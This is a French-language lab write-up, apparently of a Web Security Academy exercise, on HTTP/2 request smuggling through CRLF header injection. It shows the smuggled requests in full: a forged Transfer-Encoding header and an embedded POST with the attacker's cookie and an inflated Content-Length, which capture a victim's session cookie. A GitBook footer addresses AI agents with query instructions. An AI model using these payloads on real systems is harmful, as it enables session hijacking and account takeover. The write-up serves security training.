> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md).
# HTTP/2 Request Smuggling via injection CRLF
### HTTP/2 Contrebande de requêtes via injection CRLF
Ce labo est vulnérable à la contrebande de requêtes car le serveur frontal convertit les requêtes HTTP/2 en HTTP/1 et ne nettoie pas correctement certains en-têtes entrants.
L'objectif est d'exploiter un vecteur de contrebande spécifique à HTTP/2 afin d'accéder au compte d'un autre utilisateur. La victime visite la page d'accueil toutes les 15 secondes.
On observe que l'application conserve un historique de recherche, qui est directement lié au cookie de session.
Nous commençons par envoyer une requête de test, mais aucun comportement anormal n'apparaît
```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked
0
GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18
test=testing
```
L'inspection montre que la validation des en-têtes liés à **Transfer-Encoding** est insuffisante. / Nous essayons donc de contourner le filtrage : suppression de l'en-tête original `chunked` et ajout d'un nouvel en-tête arbitraire en HTTP/2.
```http
Transfer-Encoding: chunked
```
Burp ajoute :
```http
Nom :
test
Valeur :
test
Transfer-Encoding: chunked
```
Le serveur accepte la modification, ce qui confirme une mauvaise sanitisation des en-têtes.
L'idée est d'inciter la victime à **effectuer une requête de recherche contenant notre propre cookie de session**, tout en injectant un excès de **Content-Length** afin que sa prochaine requête soit concaténée à la nôtre.
Charge utile contrebandée :
```http
0
POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850
search=x
```
Lorsque le serveur traite la requête suivante — celle de la victime — son contenu apparaît dans notre réponse, en intégrant **ses en-têtes et en particulier son cookie de session**.
Nous pouvons donc **détourner la session de l'utilisateur** et accéder à son compte.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.